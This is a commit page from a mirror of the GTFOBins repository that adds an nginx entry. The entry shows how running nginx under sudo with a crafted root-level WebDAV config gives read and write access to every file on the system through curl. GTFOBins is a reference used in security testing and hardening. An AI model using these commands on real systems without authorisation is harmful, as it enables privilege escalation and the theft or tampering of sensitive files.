1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-27 09:36:03 +02:00
This commit is contained in:
godylockz 2024-04-24 13:27:17 +08:00 committed by GitHub
commit 060b55abb9
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

71
_gtfobins/nginx.md Normal file
View File

@ -0,0 +1,71 @@
---
functions:
sudo:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_read
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -s http://localhost:$PORT$LFILE
file-read:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_read
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -s http://localhost:$PORT$LFILE
file-write:
- description: This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.
code: |
PORT=1337
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
TFC=$(mktemp)
cat > $TFC << EOF
user root;
events {
worker_connections 1024;
}
http {
server {
listen $PORT;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo nginx -c $TFC
curl -X PUT http://localhost:$PORT$LFILE -d @$TF
---